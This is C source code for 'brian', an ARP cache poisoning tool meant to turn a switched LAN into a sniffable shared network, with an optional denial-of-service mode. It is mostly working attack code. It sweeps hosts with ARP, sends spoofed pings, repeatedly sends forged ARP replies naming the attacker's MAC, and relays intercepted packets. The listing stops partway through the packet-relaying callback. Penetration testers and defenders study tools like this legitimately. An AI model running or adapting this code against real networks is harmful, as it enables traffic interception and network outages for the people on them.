/*
 * brian - "He's not the Messiah, he's a very naughty man!"
 *
 * cc -o brian brian.c -lpthread -lnet -lpcap
 *
 * Based on the ideas of ARP poisoning present in Ettercap, this program
 * is a simple tool to effectively convert a switched network (or a part of
 * it) into a shared network so that sniffing can take place.
 *
 * Ettercap (in it's current form) is very good at letting you poison the ARP
 * caches of two or more computers to sniff a particular machine or perform
 * man-in-the-middle attacks.  It works in a one-to-one or one-to-many
 * scenario but not many-to-many as in shared networks.
 *
 * I wasn't interested in man-in-the-middle attacks but was very interested
 * in sniffing a group of computers on a switched network for penetration
 * testing.
 *
 * It requires libpcap and libnet and is threaded for your pleasure.
 * Some of the libpcap stuff was borrowed from code by Bastian ballmann.
 * It was written for Red Hat 8 but should work on many Linux distributions.
 *
 * It is free to use and modify but I would rather it wasn't redistributed
 * in modified form without changing the name.
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <pcap.h>
#include <net/bpf.h>
#include <unistd.h>
#include <libnet.h>
#include <pthread.h>
#include <net/ethernet.h>

#define DEF_TIMEOUT 2
#define DEF_WAIT 5000
#define DEF_PAUSE 10

/* ipaddr_range_list is a struct used to create a linked list of computer
 * ranges.
 */
struct ipaddr_range_list;
struct ipaddr_range_list
{
  u_char a1, a2, a3, a4a, a4b;
  int range_len;
  struct ipaddr_range_list *next;
};

/* ipaddr_array is a struct used to create an array of ip addresses and mac
 * addresses that the user is interested in.
 */
struct ipaddr_array
{
  struct in_addr ipaddr;
  int range_len;
  u_char macaddr[6];
};

/* brian_struct holds the program context and is passed to nearly all
 * functions.  It's instantiation could have been made global but I decided
 * I'd rather pass a pointer so the functions can be lifted out and reused
 * elsewhere.
 */
struct brian_struct
{
  struct ipaddr_array *ip_list;
  int ip_list_len;
  struct ipaddr_array **ip_hash;
  int ip_hash_len;
  u_char gateway_mac[6];
  struct in_addr gateway_ip;
  libnet_t *libnet_context;
  libnet_t *libnet_context2;
  pcap_t *pcap_handle;
  char *device;
  bpf_u_int32 net;
  bpf_u_int32 mask;
  int timeout;
  int wait;
  int pause;
  struct libnet_ether_addr *my_mac;
  struct in_addr my_ip;
};

/* the only global variable - if anyone knows how I can avoid this then
 * please let me know.
 */
u_char signal_death = 0;

void signal_handler(int sig);
void usage();
int convert_ipaddrs(struct brian_struct *brian_context, char *str);
int convert_ipaddrs_range(struct ipaddr_range_list **target, char *str);
void identify_congregation(struct brian_struct *brian_context,
  int list);
void *ARP_listener(void *ARP_listen_values);
void spoof_pings(struct brian_struct *brian_context);
void *start_preaching(void *t);
void *unpoison(struct brian_struct *brian_context);
void relay_packets(struct brian_struct *brian_context);
void ARP_receiver(u_char *args, const struct pcap_pkthdr *header, const u_char *pkt);
void packet_receiver(u_char *args, const struct pcap_pkthdr *header, const u_char *pkt);

/* main function
 * decodes options, starts the preaching, starts the relaying
 */
int main(int argc, char *argv[])
{
  /* variables */
  uid_t userid;
  int list = 0;
  int preach = 0;
  int dos = 0;
  int disc_len = 0;
  int cong_len = 0;
  struct brian_struct brian_context;
  pthread_t preach_thread;
  int getoptret;
  char disc_ips[1024], cong_ips[1024];
  struct ipaddr_array *disc_list = NULL;
  struct ipaddr_array **disc_hash = NULL;
  struct ipaddr_array *cong_list = NULL;
  struct ipaddr_array **cong_hash = NULL;
  int disc_hash_len = 0;
  int cong_hash_len = 0;
  char err_buf[LIBNET_ERRBUF_SIZE];
  char errbuf[PCAP_ERRBUF_SIZE];
  u_char empty_mac[6] = {0,0,0,0,0,0};


  /* check we're root */
  userid = geteuid();
  if(userid != 0)
  {
    usage();
    printf("You really need to be the Messiah to run this program\nYour EUID is %d\n",userid);
    exit(0);
  }

  brian_context.device = NULL;
  brian_context.timeout = DEF_TIMEOUT;
  brian_context.wait = DEF_WAIT;
  brian_context.pause = DEF_PAUSE;

  /* zero the gateway mac and ip address */
  memcpy(brian_context.gateway_mac, empty_mac, 6);
  brian_context.gateway_ip.s_addr = 0;

  /* sort options */
  /* use getopt to find out what the user provided */
  /* brian <-l ip_range> [-i interface] [-t timeout]
   *  - only list reachable ip addresses with MAC addresses.
   * brian <-p ip_range> [-i interface] [-t timeout] [-w wait]
   *       [-r pause] [-g gateway_ip] [-d]
   *  - preach to ip addresses (i.e. spoof and relay).
   *  -i interface indicates the interface to use.
   *  -t timeout indicates the time to wait in seconds after sending
   *     an ARP request before assuming the host is dead (default 2 sec).
   *  -w wait indicates the time to wait between repeating sending 
   *     the set of ARP replies (default 5000ms).
   *  -r pause indicates the time to pause between sending each ARP
   *     packet (default 10ms).
   *  -g gateway_ip identifies which of the congregation is the
   *     gateway for IP addresses we don't understand.
   *  -d specifies Denial-Of-Service, i.e. Don't relay (this is just
   *     to demonstrate how easy it is to DOS a network without any
   *     particularly nasty packets).
   */
  while ((getoptret = getopt(argc, argv, "l:p:i:t:w:r:g:d")) != EOF)
  {
    switch (getoptret)
    {
      case 'l':
        list = 1;
        strncpy(cong_ips, optarg, 1023);
        cong_ips[1023] = 0;
        cong_len = convert_ipaddrs(&brian_context, cong_ips);
        if (cong_len == -1)
        {
          usage();
          printf("congregation incorrectly specified\n");
          exit(0);
        }
        break;
      case 'p':
        preach = 1;
        strncpy(disc_ips, optarg, 1023);
        disc_ips[1023] = 0;
        disc_len = convert_ipaddrs(&brian_context, disc_ips);
        if (disc_len == -1)
        {
          usage();
          printf("disciples incorrectly specified\n");
          exit(0);
        }
        break;
      case 'i':
        brian_context.device = (char *)malloc(strlen(optarg) + 1);
        strcpy(brian_context.device, optarg);
        break;
      case 't':
        brian_context.timeout = atoi(optarg);
        break;
      case 'w':
        brian_context.wait = atoi(optarg);
        break;
      case 'r':
        brian_context.pause = atoi(optarg);
        break;
      case 'g':
        if (inet_aton(optarg, &(brian_context.gateway_ip)) == 0)
        {
          usage();
          printf("gateway ip is invalid\n");
          exit(0);
        }
        break;
      case 'd':
        dos = 1;
        break;
      default:
        usage();
        printf("invalid argument\n");
        exit(0);
    }
  }

  if ((list == 0) && (preach == 0))
  {
    usage();
    printf("You must specify -l or -p\n");
    exit(0);
  }
  if ((list == 1) && (preach == 1))
  {
    usage();
    printf("You may only specify -l OR -p\n");
    exit(0);
  }
  if (brian_context.timeout == 0)
  {
    usage();
    printf("Invalid timeout\n");
    exit(0);
  }
  if (brian_context.wait == 0)
  {
    usage();
    printf("Invalid wait\n");
    exit(0);
  }
  if (brian_context.pause == 0)
  {
    usage();
    printf("Invalid pause\n");
    exit(0);
  }

  /* welcome message */
  printf("brian - \"He's not the Messiah, he's a very naughty man!\"\n");
  printf("use ^C or a SIGTERM to quit\n");

  /* set up the libnet stuff */
  brian_context.libnet_context = libnet_init(LIBNET_LINK, brian_context.device, err_buf);
  if (brian_context.libnet_context == NULL)
  {
    printf("libnet_init failed: %s\n", err_buf);
    exit(0);
  }

  /* either through a user option or through libnet searching, we have
   * a valid device in brian_context.libnet_context->device.  This
   * must be copied into brian_context.device as the master device and
   * used for pcap initiation.
   */

  if (brian_context.device == NULL)
  {
    brian_context.device = (char *)malloc
      (strlen(brian_context.libnet_context->device) + 1);
    strcpy(brian_context.device,
      brian_context.libnet_context->device);
  }

  /* find my mac and ip address */
  brian_context.my_mac = libnet_get_hwaddr(brian_context.libnet_context);
  if (brian_context.my_mac == NULL)
  {
    printf("could not get my MAC address\n");
    exit(0);
  }
  brian_context.my_ip.s_addr = libnet_get_ipaddr4(brian_context.libnet_context);
  if (brian_context.my_ip.s_addr == -1)
  {
    printf("could not get my ip address\n");
    exit(0);
  }

  /* seed the pseudo random generator */
  libnet_seed_prand(brian_context.libnet_context);

  /* set up the pcap stuff
   * Open device for sniffing in non-promisc mode
   * device, snaplen, promics-mode, timeout, errorbuffer
   */
  brian_context.pcap_handle = pcap_open_live(brian_context.device,BUFSIZ,0,-1,errbuf);

  /* Lookup IP and network mask for device */
  pcap_lookupnet(brian_context.device, &(brian_context.net), &(brian_context.mask), errbuf);

  printf("device: %s; MAC: %s; IP: %s\n", brian_context.device, ether_ntoa(brian_context.my_mac), inet_ntoa(brian_context.my_ip));

  /* set up a second libnet context for the ARP poisoner */
  brian_context.libnet_context2 = libnet_init(LIBNET_LINK, brian_context.device, err_buf);
  if (brian_context.libnet_context2 == NULL)
  {
    printf("libnet_init2 failed: %s\n", err_buf);
    exit(0);
  }

  if (dos == 1)
  {
    printf("DOS option selected.  Specified congregation will be\n");
    printf("unable to communicate until unpoisoned!\n");
  }

  /* identify congregation */
  /* if listing, send ARP requests to the IP address range identified
   * by the congregation.
   * if preaching, send ARP requests to the IP address range
   * identified by the disciples.
   */
  if (list == 1)
    identify_congregation(&brian_context, 1);
  else
  {
    identify_congregation(&brian_context, 0);

    /* spoof pings */
    /* send spoofed pings from all in ip_list to all others in
     * ip_list to make them aware of each other
     */
    spoof_pings(&brian_context);

    /* set up the signal handler.
     * Up to this point we could have just happily fallen over,
     * but now we have to make sure we tidy up the poisoned ARP
     * caches all over the place otherwise some network admins
     * will get a little upset.
     */

    signal(SIGINT, signal_handler);
    signal(SIGTERM, signal_handler);

    /* start preaching */
    /* tell the congregation that you are the responsible for
     * all the other ip addresses in the congregation.
     * Run in a different thread.
     */
    if (pthread_create(&preach_thread, NULL, start_preaching,
      (void *)&brian_context) != 0)
    {
      printf("could not create preach thread\n");
      exit(0);
    }

    /* start relaying */
    /* listen to all packets.  Any packets destined for an ip
     * address that is not your own should be relayed to the
     * correct MAC address.
     */
    if (dos == 0)
    {
      relay_packets(&brian_context);
    } else {
      while (1)
      {
        sleep(1000);
      }
    }
  }
}

void signal_handler(int sig)
{
  /* set the death global to indicate close down */
  signal_death = 1;
}

/* usage displays valid usage info
 */
void usage()
{
  printf("brian - \"He's not the messiah, he's a very naughty man!\"\n");
  printf("brian <-l ip_range> [-i interface] [-t timeout]\n");
  printf(" - only list reachable ip addresses with MAC addresses.\n");
  printf("brian <-p ip_range> [-i interface] [-t timeout] [-w wait]\n");
  printf("      [-r pause] [-g gateway_ip] [-d]\n");
  printf(" - preach to ip addresses (i.e. spoof and relay).\n");
  printf(" -i interface indicates the interface to use.\n");
  printf(" -t timeout indicates the time to wait in seconds after sending\n");
  printf("    an ARP request before assuming the host is dead (default 2 sec).\n");
  printf(" -w wait indicates the time to wait between sending repeating\n");
  printf("    ARP replies (default 5000ms).\n");
  printf(" -r pause indicates the time to pause between sending each ARP\n");
  printf("    packet (default 10ms).\n");
  printf(" -g gateway_ip identifies which of the congregation is the\n");
  printf("    gateway for IP addresses we don't understand.\n");
  printf(" -d specifies Denial-Of-Service, i.e. Don't relay (this is just\n");
  printf("    to demonstrate how easy it is to DOS a network without any\n");
  printf("    particularly nasty packets).\n");
  printf("\n");
}

/* convert_ipaddrs takes a string specifying a number of comma
 * delimited ip address ranges and converts them to an array of
 * individual ip addresses.
 * It also creates a hash array pointing at the start of each
 * range within the array of ip addresses.
 * It returns the length of the array.
 * Currently only works on comma delimited Class C address ranges
 * or ip addresses.
 * One day I'll include provision for hostnames and net/bit
 * identifiers and then package the lot up as a library; but for
 * the moment it's just a couple of C functions.
 */
int convert_ipaddrs(struct brian_struct *brian_context, char *str)
{
  int i,j,k, ret;
  u_char temp_ip[4];
  char *strtok_range;
  char *r_temp1 = NULL;
  int r_count = 0;
  int num_ranges = 0;
  struct ipaddr_range_list *head = NULL;
  struct ipaddr_range_list *range_temp = NULL;
  struct ipaddr_range_list *range_temp2 = NULL;
  struct ipaddr_range_list **range_ptr = &head;

  /* test for valid chars */
  if (strspn(str, "0123456789.-,") != strlen(str))
  {
    return -1;
  }

  /* create a linked list of ipranges, checking validity, and
   * maintaining a sum of ipaddresses in the total range
   */

  /* use strtok_r to find each range */
  /* note to self: always use strtok_r over strtok to avoid
   * nasty, dangerous clashes.
   */
  r_temp1 = strtok_r(str, ",", &strtok_range);
  while (r_temp1 != NULL)
  {
    ret = convert_ipaddrs_range(range_ptr, r_temp1);
    if (ret == -1)
    {
      return -1;
    }
    range_ptr = &((*range_ptr)->next);
    r_count = r_count + ret;
    r_temp1 = strtok_r(NULL, ",", &strtok_range);
    num_ranges++;
  }

  brian_context->ip_list_len = r_count;
  brian_context->ip_hash_len = num_ranges;

  /* create an array big enough for all the ranges */
  brian_context->ip_list = (struct ipaddr_array *)malloc(sizeof(struct ipaddr_array) * r_count);

  /* create an array big enough to hold pointers to the ranges.
   * This will be a hash to speed up searching
   */
  brian_context->ip_hash = (struct ipaddr_array **)malloc(sizeof(struct ipaddr_array *) * num_ranges);

  /* loop through the ipaddr range list and populate the array */
  range_temp = head;

  i = 0;
  k = 0;
  while (range_temp != NULL)
  {
    /* store the pointer in the hash table */
    (brian_context->ip_hash)[k] = &((brian_context->ip_list)[i]);

    temp_ip[0] = range_temp->a1;
    temp_ip[1] = range_temp->a2;
    temp_ip[2] = range_temp->a3;

    /* loop through the ip range, saving ipaddrs as we go */
    for (j=range_temp->a4a; j<=range_temp->a4b; j++)
    {
      temp_ip[3] = j;
      memcpy(&((brian_context->ip_list)[i].ipaddr), temp_ip, 4);
      (brian_context->ip_list)[i].range_len = range_temp->range_len;
      i++;
    }

    range_temp = range_temp->next;
    k++;
  }

  /* deallocate the memory for the linked list as it is no
   * longer needed
   */
  range_temp = head;
  while (range_temp != NULL)
  {
    range_temp2 = range_temp->next;
    free(range_temp);
    range_temp = range_temp2;
  }

  /* return the number of elements in the array */
  return r_count;
}


/* convert_ipaddrs_range takes a string specifying an ipaddress range
 * or single ip addrss and returns a malloced and populated node.
 */
int convert_ipaddrs_range(struct ipaddr_range_list **target, char *str)
{
  char *temp1, *temp2, *temp3, *temp4;
  int o1, o2, o3, o4a, o4b;
  char *strtok_dot, *strtok_minus;
  struct ipaddr_range_list *node;
  int ret;

  /* retrieve first three octets */
  temp1 = strtok_r(str, ".", &strtok_dot);
  temp2 = strtok_r(NULL, ".", &strtok_dot);
  temp3 = strtok_r(NULL, ".", &strtok_dot);
  temp4 = strtok_r(NULL, "!", &strtok_dot);

  /* test the values for valid strings */
  if ((temp1 == NULL) || (temp2 == NULL) || (temp3 == NULL) ||
    (temp4 == NULL) ||
    (strchr(temp1, '-') != NULL) ||
    (strlen(temp1) == 0) ||
    (strchr(temp2, '-') != NULL) ||
    (strlen(temp2) == 0) ||
    (strchr(temp3, '-') != NULL) ||
    (strlen(temp3) == 0) ||
    (strchr(temp4, '.') != NULL) ||
    (strlen(temp4) == 0))
  {
    return -1;
  }

  /* identify the first three octets */
  o1 = atoi(temp1);
  o2 = atoi(temp2);
  o3 = atoi(temp3);

  /* find out if it is a range or an individual ip address */
  temp1 = strchr(temp4, '-');
  if (temp1 == NULL)
  {
    o4a = atoi(temp4);
    o4b = atoi(temp4);
  } else {
    temp1 = strtok_r(temp4, "-", &strtok_minus);
    o4a = atoi(temp1);
    temp2 = strtok_r(NULL, "!", &strtok_minus);
    if (strchr(temp2, '-') != NULL)
    {
      return -1;
    }
    o4b = atoi(temp2);
  }

  /* check the values are okay */
  if ((o1 < 1) || (o1 > 255) || (o2 < 0) || (o2 > 255) ||
    (o3 < 0) || (o3 > 255) || (o4a < 1) || (o4a > 254) ||
    (o4b < 1) || (o4b > 254) || (o4a > o4b))
  {
    return -1;
  }

  /* create node */
  node = (struct ipaddr_range_list *)malloc(sizeof(struct ipaddr_range_list));
  node->a1 = o1;
  node->a2 = o2;
  node->a3 = o3;
  node->a4a = o4a;
  node->a4b = o4b;
  node->range_len = o4b - o4a + 1;
  node->next = NULL;

  /* point target at the new node and return the number of
   * ip addresses it refers to */
  *target = node;
  return node->range_len;
}



/* identify_congregation
 * send ARPs to request the MAC addresses of all IP addresses in the
 * ipaddr_array.  Start a listener which records the responses in the
 * array.
 */
void identify_congregation(struct brian_struct *brian_context,
  int list)
{
  int i;
  pthread_t ARP_listen_thread;
  libnet_ptag_t arp_ptag = LIBNET_PTAG_INITIALIZER;
  libnet_ptag_t ether_ptag = LIBNET_PTAG_INITIALIZER;
  u_char broadcast_mac[6] = {0xff,0xff,0xff,0xff,0xff,0xff};
  u_char empty_mac[6] = {0,0,0,0,0,0};

  printf("Identify Congregation\n");

  /* temp code to test array */
  /*
  for (i=0; i<brian_context->ip_hash_len; i++)
  {
    printf("%d,%s,%d\n", i, inet_ntoa((brian_context->ip_hash[i])->ipaddr), (brian_context->ip_hash[i])->range_len);
  }

  for (i=0; i<brian_context->ip_list_len; i++)
  {
    printf("%s\n", inet_ntoa((brian_context->ip_list[i]).ipaddr));
  }
  */

  /* start ARP listener */
  if (pthread_create(&ARP_listen_thread, NULL, ARP_listener,
    (void *)brian_context) != 0)
  {
    printf("could not create ARP listener thread\n");
    exit(0);
  }

  sleep(1);

  /* send ARP requests for all IP addresses in ip_list */
  for (i=0; i<brian_context->ip_list_len; i++)
  {
    arp_ptag = libnet_build_arp(ARPHRD_ETHER, /* ether */
      ETHERTYPE_IP,    /* IP addresses */
      6,      /* MAC length */
      4,      /* IP length */
      ARPOP_REQUEST,    /* ARP request */
      brian_context->my_mac->ether_addr_octet, /* sender MAC */
      (u_char *)&(brian_context->my_ip),  /* sender IP */
      empty_mac,    /* target MAC */
      (u_char *)&(brian_context->ip_list[i].ipaddr), /* target IP */
      NULL,      /* payload */
      0,      /* payload len */
      brian_context->libnet_context,  /* context */
      arp_ptag);    /* ptag */

    ether_ptag = libnet_build_ethernet(
      broadcast_mac,    /* target MAC */
      brian_context->my_mac->ether_addr_octet, /* sender MAC */
      ETHERTYPE_ARP,    /* ARP proto */
      NULL,      /* payload */
      0,      /* payload len */
      brian_context->libnet_context,    /* context */
      ether_ptag);    /* ptag */

    if (libnet_write(brian_context->libnet_context) == -1)
    {
      printf("libnet_write failed\n");
      exit(0);
    }
    usleep(1000 * brian_context->pause);
  }

  libnet_clear_packet(brian_context->libnet_context);

  /* wait for timeout */
  sleep(brian_context->timeout);

  /* cancel ARP listener */
  pthread_cancel(ARP_listen_thread);
  
  /* if the user asked for a list of ips and macs then do it now */
  if (list == 1)
  {
    for (i=0; i<brian_context->ip_list_len; i++)
    {
      if (memcmp((void *)((brian_context->ip_list[i]).macaddr), (void *)empty_mac, 6) != 0)
      {
        printf("ip=%s, mac=%s\n", inet_ntoa((brian_context->ip_list[i]).ipaddr), ether_ntoa((brian_context->ip_list[i]).macaddr));
      }
    }
  }

}

/* ARP_listener is the thread that receives the ARP replies and fires off
 * a callback function to populate the array with the correct MAC addresses.
 */
void *ARP_listener(void *ARP_listen_values)
{
  struct brian_struct *brian_context = ARP_listen_values;
  char errbuf[PCAP_ERRBUF_SIZE];
  char ARP_expr[4] = "arp";
  struct bpf_program filter;
  int check;

  if (pthread_setcanceltype(PTHREAD_CANCEL_ASYNCHRONOUS, NULL) != 0)
  {
    printf("pthread_setcanceltype failed\n");
    exit(0);
  }
  
  /* Compile pcap expression */
  /* pcap_handle, compiled filter, filter, optimized, netmask */
  check = pcap_compile(brian_context->pcap_handle,&filter,ARP_expr,0,brian_context->net);

  if(check == -1)
  {
    printf("There was an error while compiling pcap expression!");
    exit(0);
  }

  /* Use the compiled pcap filter */
  pcap_setfilter(brian_context->pcap_handle,&filter);

  /* Start sniffing */
  /* pcap_handle, num_packets, callback, params */
  pcap_loop(brian_context->pcap_handle,-1,ARP_receiver,
    (u_char *)brian_context);
}

/* spoof_pings sends spoofed pings from all in ip_list to all others in
 * ip_list
 */
void spoof_pings(struct brian_struct *brian_context)
{
  int i,j;
  libnet_ptag_t icmp_ptag = LIBNET_PTAG_INITIALIZER;
  libnet_ptag_t ip_ptag = LIBNET_PTAG_INITIALIZER;
  libnet_ptag_t ether_ptag = LIBNET_PTAG_INITIALIZER;
  u_char empty_mac[6] = {0,0,0,0,0,0};
  u_short packet_id;
  char payload[55] = "brian - He's not the messiah, he's a very naughty man!";

  /* the above payload is an easily identified string which may be
   * changed by scamps wanting to avoid packet identification in IDS.
   * I've left it as a static string purely because this program is a
   * proof of concept and not a nasty piece of work.  Script kiddies
   * may well use it unchanged resulting in IDS signatures featuring
   * the payload strap-line... this would highly amuse me!
   */


  /* send spoofed pings to all IP addresses in ip_list */
  for (i=0; i<brian_context->ip_list_len; i++)
  {
    if (memcmp((void *)((brian_context->ip_list[i]).macaddr), (void *)empty_mac, 6) == 0)
      continue;
    for (j=0; j<brian_context->ip_list_len; j++)
    {
      if ((i==j) || (memcmp((void *)((brian_context->ip_list[j]).macaddr), (void *)empty_mac, 6) == 0))
        continue;
      packet_id = libnet_get_prand(LIBNET_PRu16);
      icmp_ptag = libnet_build_icmpv4_echo(
        ICMP_ECHO,
        0, /* code */
        0, /* checksum (auto) */
        packet_id, /* id */
        0, /* seq number */
        payload, /* packet data */
        54, /* packet data length */
        brian_context->libnet_context,
        icmp_ptag);
      ip_ptag = libnet_build_ipv4(
        LIBNET_ICMPV4_ECHO_H + LIBNET_IPV4_H + 54, /* ICMP length */
        0, /* TOS */
        packet_id, /* id */
        0, /* frag and offset */
        255, /* TTL */
        1, /* ICMP */
        0, /* checksum (auto) */
        (brian_context->ip_list[i]).ipaddr.s_addr,
        (brian_context->ip_list[j]).ipaddr.s_addr,
        NULL, /* packet data */
        0, /* packet data length */
        brian_context->libnet_context,
        ip_ptag);
      ether_ptag = libnet_build_ethernet(
        (brian_context->ip_list[j]).macaddr,
        (brian_context->ip_list[i]).macaddr,
        ETHERTYPE_IP, /* IP proto */
        NULL, /* payload */
        0, /* payload len */
        brian_context->libnet_context,
        ether_ptag);

      if (libnet_write(brian_context->libnet_context) == -1)
      {
        printf("libnet_write failed\n");
        exit(0);
      }
      usleep(1000 * brian_context->pause);
    }
  }

  libnet_clear_packet(brian_context->libnet_context);
}

/* start_preaching
 * Send ARP replies to each IP address claiming my MAC as each
 * of the other IP addresses.
 * Avoid IP addresses with zeroed MAC addresses as these did not
 * respond to the initial ARP storm.
 * Look out for global signal_death changing to 1 to indicate a termination
 * request.
 */
void *start_preaching(void *t)
{
  struct brian_struct *brian_context = t;
  int i,j;
  libnet_ptag_t arp_ptag = LIBNET_PTAG_INITIALIZER;
  libnet_ptag_t ether_ptag = LIBNET_PTAG_INITIALIZER;
  u_char empty_mac[6] = {0,0,0,0,0,0};

  printf("Start preaching\n");

  /* looping forever, send ARP replies to all in ip_list claiming
   * my MAC address as all in ip_list
   * I'm using a second libnet context here so that I don't disrupt
   * or get disrupted by the libnet context that is relaying the
   * packets.
   */
  while (1)
  {
    for (i=0; i<brian_context->ip_list_len; i++)
    {
      if (memcmp((void *)((brian_context->ip_list[i]).macaddr), (void *)empty_mac, 6) == 0)
        continue;
      for (j=0; j<brian_context->ip_list_len; j++)
      {
        if ((i==j) || (memcmp((void *)((brian_context->ip_list[j]).macaddr), (void *)empty_mac, 6) == 0))
          continue;
        arp_ptag = libnet_build_arp(
          ARPHRD_ETHER, /* ether */
          ETHERTYPE_IP, /* IP addresses */
          6, /* MAC length */
          4, /* IP length */
          ARPOP_REPLY, /* ARP reply */
          brian_context->my_mac->ether_addr_octet, /* sender MAC */
          (u_char *)&(brian_context->ip_list[i].ipaddr), /* sender IP */
          brian_context->ip_list[j].macaddr, /* target MAC */
          (u_char *)&(brian_context->ip_list[j].ipaddr), /* target IP */
          NULL, /* payload */
          0, /* payload len */
          brian_context->libnet_context2, /* context */
          arp_ptag); /* ptag */

        ether_ptag = libnet_build_ethernet(
          brian_context->ip_list[j].macaddr, /* target MAC */
          brian_context->my_mac->ether_addr_octet, /* sender MAC */
          ETHERTYPE_ARP, /* ARP proto */
          NULL, /* payload */
          0, /* payload len */
          brian_context->libnet_context2, /* context */
          ether_ptag); /* ptag */

        if (libnet_write(brian_context->libnet_context2) == -1)
        {
          printf("libnet_write failed\n");
          exit(0);
        }
        usleep(1000 * brian_context->pause);
      }
    }
    usleep(1000 * brian_context->wait);
    if (signal_death == 1)
    {
      libnet_clear_packet(brian_context->libnet_context2);
      unpoison(brian_context);
      printf("ARP caches unpoisoned, goodbye\n");
      exit(0);
    }
  }

}

/* unpoison sends ARPs to tell all ips the real values of all others MAC
 * addresses
 */
void *unpoison(struct brian_struct *brian_context)
{
  int i,j,loop;
  libnet_ptag_t arp_ptag = LIBNET_PTAG_INITIALIZER;
  libnet_ptag_t ether_ptag = LIBNET_PTAG_INITIALIZER;
  u_char empty_mac[6] = {0,0,0,0,0,0};

  /* send ARP replies to all in ip_list stating
   * the real MAC addresses for all in ip_list
   * I'm using the second libnet context here so that I don't disrupt
   * or get disrupted by the libnet context that is still relaying the
   * packets.
   */
  for (loop=0; loop<5; loop++)
  for (i=0; i<brian_context->ip_list_len; i++)
  {
    if (memcmp((void *)((brian_context->ip_list[i]).macaddr), (void *)empty_mac, 6) == 0)
      continue;
    for (j=0; j<brian_context->ip_list_len; j++)
    {
      if ((i==j) || (memcmp((void *)((brian_context->ip_list[j]).macaddr), (void *)empty_mac, 6) == 0))
        continue;
      arp_ptag = libnet_build_arp(
        ARPHRD_ETHER, /* ether */
        ETHERTYPE_IP, /* IP addresses */
        6, /* MAC length */
        4, /* IP length */
        ARPOP_REPLY, /* ARP reply */
        brian_context->ip_list[i].macaddr, /* sender MAC */
        (u_char *)&(brian_context->ip_list[i].ipaddr), /* sender IP */
        brian_context->ip_list[j].macaddr, /* target MAC */
        (u_char *)&(brian_context->ip_list[j].ipaddr), /* target IP */
        NULL, /* payload */
        0, /* payload len */
        brian_context->libnet_context2, /* context */
        arp_ptag); /* ptag */

      ether_ptag = libnet_build_ethernet(
        brian_context->ip_list[j].macaddr, /* target MAC */
        brian_context->my_mac->ether_addr_octet, /* sender MAC */
        // brian_context->ip_list[i].macaddr, /* sender MAC */
        ETHERTYPE_ARP, /* ARP proto */
        NULL, /* payload */
        0, /* payload len */
        brian_context->libnet_context2, /* context */
        ether_ptag); /* ptag */

      if (libnet_write(brian_context->libnet_context2) == -1)
      {
        printf("libnet_write failed\n");
      }
      usleep(1000 * brian_context->pause);
    }
  }
}

/* relay_packets is the function that receives packets and then sends them
 * on to the correct MAC addresses.  This is necessary for the network to
 * continue to work once the ARP caches are poisoned.
 */
void relay_packets(struct brian_struct *brian_context)
{
  char errbuf[PCAP_ERRBUF_SIZE];
  char filter_expr[1024];
  struct bpf_program filter;
  int check;

  printf("Relay packets\n");

  /* create filter expression */
  sprintf(filter_expr, "ip and not dst host %s and not ether src %s", inet_ntoa(brian_context->my_ip), ether_ntoa(brian_context->my_mac));

  /* Compile pcap expression */
  /* pcap_handle, compiled filter, filter, optimized, netmask */
  check = pcap_compile(brian_context->pcap_handle,&filter,filter_expr,0,brian_context->net);

  if(check == -1)
  {
    printf("There was an error while compiling pcap expression!");
    exit(0);
  }

  /* Use the compiled pcap filter */
  pcap_setfilter(brian_context->pcap_handle,&filter);

  /* Start sniffing */
  /* pcap_handle, num_packets, callback, params */
  pcap_loop(brian_context->pcap_handle,-1,packet_receiver,
    (u_char *)brian_context);
}


/* ARP_receiver
 * This is a callback function launched by pcap_loop filtered on ARP packets.
 * For every ARP reply, locate the IP addr in the table and enter the MAC
 * address.  Of course, if some other scamp is already running brian, ettercap,
 * or similar, then you'll be plotting his MAC address and not the real one.
 * Whilst this shouldn't upset the program (save for a little indirection in
 * packet relaying) it will fall to pieces when the other scamp stops his
 * program.  Best to avoid this situation if at all possible, methinks.
 * To take account of the gateway, the ARP_receiver will also check each
 * returned IP against the gateway IP and store the relevant MAC address if
 * they match.
 */
void ARP_receiver(u_char *args, const struct pcap_pkthdr *header, const u_char *pkt)
{
  struct brian_struct *brian_context = (struct brian_struct *)args;
  struct libnet_ethernet_hdr *ether;
  struct libnet_arp_hdr *arp;
  short arp_op;
  u_char *mac;
  struct in_addr ip;
  u_char *ptr;
  int i;
  u_char first_octet, last_octet, arp_last_octet;
  struct ipaddr_array *temp_ptr;

  /* break packet into workable components */
  ether = (struct libnet_ethernet_hdr *) pkt;
  arp = (struct libnet_arp_hdr *)(pkt + LIBNET_802_3_H);
  arp_op = ntohs(arp->ar_op);

  /* we're pretty sure this is an ARP packet or we wouldn't be here! */
  if (arp_op == ARPOP_REPLY)
  {
    mac = (u_char *)(pkt + LIBNET_802_3_H + LIBNET_ARP_H);
    memcpy((void *)&ip, (void *)(pkt + LIBNET_802_3_H + LIBNET_ARP_H + 6), 4);
    /* locate ip address in ip_hash */
    for (i=0; i<brian_context->ip_hash_len; i++)
    {
      if (memcmp((void *)&((brian_context->ip_hash[i])->ipaddr), (void *)&ip, 3) == 0)
      {
        /* first three octets match */
        first_octet = ((u_char *)&((brian_context->ip_hash[i])->ipaddr))[3];
        last_octet = (brian_context->ip_hash[i])->range_len + first_octet - 1;
        arp_last_octet = ((u_char *)&ip)[3];
        if ((arp_last_octet >= first_octet) && (arp_last_octet <= last_octet))
        {
          /* it's in this range */
          temp_ptr = (brian_context->ip_hash[i]) + (arp_last_octet - first_octet);
          memcpy(temp_ptr->macaddr, mac, 6);
          if (memcmp((void *)&brian_context->gateway_ip, (void *)&ip, 4) == 0)
          {
            /* this is also the gateway
             * IP */
            memcpy(brian_context->gateway_mac, mac, 6);
          }
          break;
        }
      }
    }
  }
}

/* packet_receiver
 * This is a callback function launched by pcap_loop filtered on them not
 * being sent by me or sent to my ip address.
 * For every packet, replace my mac address for the correct mac address
 * retrieved from the ip_list and then re-send.  This should then send the
 * packet to the correct destination.
 * IP addresses that do not match are assumed to be for the big wide world
 * and will therefore be sent to the gateway, should one have been specified.
 */
void packet_receiver(u_char *args, const struct pcap_pkthdr *header, const u_char *pkt)
{
  struct brian_struct *brian_context = (struct brian_struct *)args;
  struct libnet_ethernet_hdr *ether;
  struct libnet_ipv4_hdr *body;
  u_char mac[6] = {0,0,0,0,0,0};
  u_char empty_mac[6] = {0,0,0,0,0,0};
  struct in_addr ip;
  u_char *ptr;
  int i;
  u_char first_octet, last_octet, packet_last_octet;
  struct ipaddr_array *temp_ptr;
